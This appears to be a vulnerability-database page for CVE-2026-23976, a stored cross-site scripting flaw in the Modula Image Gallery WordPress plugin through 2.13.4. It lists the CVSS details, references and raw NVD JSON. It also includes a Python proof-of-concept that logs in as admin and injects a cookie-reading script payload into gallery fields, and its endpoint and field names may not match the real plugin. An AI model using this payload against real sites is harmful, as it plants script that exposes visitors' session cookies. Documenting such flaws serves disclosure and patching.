CVE-2026-23976

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Modula Image Gallery modula-best-grid-gallery allows Stored XSS.This issue affects Modula Image Gallery: from n/a through <= 2.13.4.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Modula Image Gallery (modula-best-grid-gallery) <= 2.13.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-23976 PoC - Modula Image Gallery Stored XSS
# Target: WordPress site with Modula Image Gallery plugin <= 2.13.4

target_url = "http://target-wordpress-site.com"

# XSS payload to be injected into image title/description field
xss_payload = "<script>alert(document.cookie)</script>"

# Authentication (high privilege account required)
auth = {
    "username": "admin",
    "password": "password"
}

# Step 1: Login to WordPress admin panel
login_url = f"{target_url}/wp-login.php"
session = requests.Session()
login_data = {
    "log": auth["username"],
    "pwd": auth["password"],
    "wp-submit": "Log In"
}
session.post(login_url, data=login_data)

# Step 2: Create/Edit Modula gallery with XSS payload
gallery_url = f"{target_url}/wp-admin/admin.php?page=modulagallery"
gallery_data = {
    "action": "modula_save_gallery",
    "title": "Malicious Gallery",
    "description": xss_payload,
    "image_titles": [xss_payload]
}
response = session.post(gallery_url, data=gallery_data)

# Step 3: When victim visits the page, XSS will be triggered
print(f"Gallery created with XSS payload. Payload: {xss_payload}")
print(f"Gallery URL: {target_url}/?page_id=<gallery_page_id>")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23976
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23976
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23976/
[4] VulDB https://vuldb.com/cve/CVE-2026-23976
[5] https://patchstack.com/database/Wordpress/Plugin/modula-best-grid-gallery/vulnerability/wordpress-modula-image-gallery-plugin-2-13-4-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23976", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:38.333", "lastModified": "2026-04-28T16:16:08.147", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Modula Image Gallery modula-best-grid-gallery allows Stored XSS.This issue affects Modula Image Gallery: from n/a through <= 2.13.4."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en WP Chill Modula Image Gallery modula-best-grid-gallery permite XSS Almacenado. Este problema afecta a Modula Image Gallery: desde n/a hasta <= 2.13.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/modula-best-grid-gallery/vulnerability/wordpress-modula-image-gallery-plugin-2-13-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}